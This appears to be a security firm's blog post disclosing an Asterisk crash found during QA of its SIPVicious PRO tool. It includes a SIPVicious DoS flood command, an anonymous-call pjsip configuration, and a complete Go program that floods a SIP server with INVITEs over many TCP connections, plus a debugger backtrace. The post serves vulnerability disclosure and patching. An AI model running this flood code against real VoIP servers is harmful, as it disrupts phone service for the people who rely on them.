Skip to main content
Alfred Farrugia

Alfred Farrugia, Enable Security

How doing QA testing for SIPVicious PRO led to an Asterisk DoS

Published on Nov 10, 2020 in , , ,

Executive summary (TL;DR)

While heavily testing SIPVicious PRO for bugs, we encountered an unexpected crash in Asterisk. We reported this to the Asterisk team, who recently issued a fix. If you’re a vendor, you too can beta test SIPVicious PRO!

How the Asterisk crash was found

We test our software as much as we can because, like any other software, ours contains bugs too! When it comes to SIPVicious PRO, one of our quality assurance tests is to run it against instances of Asterisk and Kamailio and check for expected results. Our test suite loads these servers in a docker environment and automatically runs SIPVicious PRO against these targets. During these tests, we look for crashes, race conditions and other unchecked states that we might have failed to address in our own code. We do this through various methods, one of which is to observe exit codes in SIPVicious PRO that indicate the result of the test.

While writing these test scripts, we noticed that one particular test was failing due to an unexpected exit code. Here’s a demonstration:

Asterisk crashing during SIPVicious PRO automated testing

At first we thought that we had unearthed a new bug in SIPVicious PRO. However, after actually looking at the logs, we realised that the SIP message sending rate had dropped to 0B/s and the exit code returned “disconnection detected”. Could it be that either Asterisk or Kamailio was crashing? After further analysis it transpired that Asterisk was crashing during a SIP INVITE flood over TCP and TLS.

Through pure serendipity, we had found a new crash in Asterisk!

How we reproduced and reported the bug

This crash was being triggered by an authenticated INVITE message. To reproduce this issue more easily, we allowed anonymous incoming calls by using the following configuration lines in pjsip.conf:

[global]
debug=yes

[transport-tcp]
type = transport
protocol = tcp
bind = 0.0.0.0

[anonymous]
type = endpoint
context = anon
allow = all

This functionality is actually used for legitimate reasons, for example, when one wants to configure the PBX to allow incoming external calls from the Internet.

The SIPVicious PRO command that we used to replicate this issue was:

sipvicious sip dos flood tcp://<ip>:5060 --method invite -c 100

We also created a simple golang program that reproduces this issue. Despite being less brutal than the mighty SIPVicious PRO, the tool served its purpose well to demonstrate this issue to the Asterisk team:

package main

import (
  "bytes"
  "flag"
  "fmt"
  "math/rand"
  "net"
  "strconv"
  "strings"
  "time"
)

const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

func init() {
  rand.Seed(time.Now().UnixNano())
}

func randstr(length int) string {
  b := make([]byte, length)
  for i := range b {
    b[i] = charset[rand.Intn(len(charset))]
  }
  return string(b)
}

type loop struct {
  host   string
  port   int
  conn   net.Conn
  invite []byte
  cseq   int
}

func (l *loop) start() {
  sdp := "v=0\r\n"
  sdp += "o=- 1598350717 1598350717 IN IP4 192.168.1.112\r\n"
  sdp += "s=-\r\n"
  sdp += "c=IN IP4 192.168.1.112\r\n"
  sdp += "t=0 0\r\n"
  sdp += "m=audio 9999 RTP/AVP 0\r\n"
  sdp += "a=rtpmap:0 PCMU/8000/1\r\n"
  sdp += "a=sendrecv\r\n"

  invite := "INVITE sip:5cb49ced@127.0.0.1:5060 SIP/2.0\r\n"
  invite += "Via: SIP/2.0/UDP 192.168.1.112:44896;rport;branch=z9hG4bK-_BRANCH_\r\n"
  invite += "Max-Forwards: 70\r\n"
  invite += "From: <sip:5cb49ced@127.0.0.1:5060>;tag=2k309f\r\n"
  invite += "To: <sip:5cb49ced@127.0.0.1:5060>\r\n"
  invite += "Call-ID: 2345908ux\r\n"
  invite += "CSeq: _CSEQ_ INVITE\r\n"
  invite += "Contact: <sip:5cb49ced@192.168.1.112:44896;transport=udp>\r\n"
  invite += fmt.Sprintf("Content-Length: %d\r\n", len(sdp))
  invite += "Content-Type: application/sdp\r\n"
  invite += "\r\n"
  invite += sdp

  l.invite = []byte(invite)

  var err error
  l.conn, err = net.DialTimeout("tcp4", 
    fmt.Sprintf("%s:%d", l.host, l.port), 
    5*time.Second)
  if err != nil {
    fmt.Println(err.Error())
    time.Sleep(10 * time.Millisecond)
    go l.start()
    return
  }

  if l.conn != nil {
    l.run()
  } else {
    time.Sleep(10 * time.Millisecond)
    go l.start()
  }
}

func (l *loop) run() {
  if err := l.conn.SetWriteDeadline(
      time.Now().Add(10 * time.Millisecond)); err != nil {
    if strings.Contains(err.Error(), 
        "use of closed network connection") {
      l.start()
    }

  }

  var err error
  for {
    l.cseq++
    inv := l.invite
    inv = bytes.ReplaceAll(inv, 
                           []byte("_BRANCH_"), 
                           []byte(randstr(8)))
    inv = bytes.ReplaceAll(inv, 
                           []byte("_CSEQ_"), 
                           []byte(strconv.Itoa(l.cseq)))

    if _, err = l.conn.Write(inv); err != nil {
      go l.start()
      return
    }
  }
}

func main() {
  var port = flag.Int("p", 5060, "Port")
  var host = flag.String("h", "127.0.0.1", "Host")
  flag.Parse()

  for i := 0; i < 100; i++ {
    go func() {
      l := loop{
        host: *host,
        port: *port,
      }
      l.start()
    }()
  }
  select {}
}

When debugging using GDB, the following backtrace was being generated:

gdb -ex=run --args /opt/asterisk/sbin/asterisk -fvvvvv
3276 PJ_ASSERT_RETURN((cseq=(pjsip_cseq_hdr*)pjsip_msg_find_hdr(tdata->msg, PJSIP_H_CSEQ, NULL))!=NULL
(gdb) bt
#0  0x00007ffff7df1b80 in 
    pjsip_inv_send_msg (inv=0x7fffc88aa5a8, tdata=0x7fffa706a6d8) 
    at ../src/pjsip-ua/sip_inv.c:3276
#1  0x00007ffff4623c41 in 
    ast_sip_session_send_response (session=0x7fffc88ab9f0, tdata=0x7fffa706a6d8) 
    at res_pjsip_session.c:1917
#2  0x00007ffff4627b6b in 
    new_invite (invite=0x7fff94eccb60) 
    at res_pjsip_session.c:3253
#3  0x00007ffff462815b in 
    handle_new_invite_request (rdata=0x7fffa61ec608) 
    at res_pjsip_session.c:3382
#4  0x00007ffff462833d in 
    session_on_rx_request (rdata=0x7fffa61ec608) 
    at res_pjsip_session.c:3446
#5  0x00007ffff7e190ec in 
    pjsip_endpt_process_rx_data (endpt=0x5555559c9d18, rdata=0x7fffa61ec608, p=0x7ffff47c66a0 <param>, p_handled=0x7fff94eccc6c) 
    at ../src/pjsip/sip_endpoint.c:930
...

This issue was then reported to the Asterisk security team, on the Asterisk bug tracker. The team quickly responded to this issue and a fix and advisory were later published: AST-2020-001. We also released our advisory at the usual location: ES2020-02.

If you haven’t recently updated your Asterisk, it is a good idea to do so. Apply the patch or upgrade as soon as you can!

Conclusion

In this article we have shown how sometimes, when using specialized tools to test certain features of an application, unexpected bugs are uncovered. These flaws were clearly not identified previously by conventional testing methods. In this case, it was during quality assurance testing of the tool itself that we came across this one. But of course, this is not the first time that we have stumbled upon similar bugs in other VoIP solutions during a penetration test while simulating a denial of service attacks.

Here are some take away points that we think are relevant to fellow testers:

  • Do not skip the basic tests, never assume that rudimentary functionality has been thoroughly tested
  • When reporting an issue, provide a script that reproduces the issue easily and well
  • If you are a VoIP vendor, note that we are looking for beta testers for SIPVicious PRO

Alfred Farrugia

Alfred Farrugia

R&D, Chief Demolition Officer at Enable Security

Alfred Farrugia is the lead developer of SIPVicious PRO, does reverse engineering, fuzzing, DoS simulation and security research. He is an amazing pentester and often finds denial-of-service vulnerabilities where least expected. Hence he is the proud owner of the title of Chief Demolition Officer at Enable Security.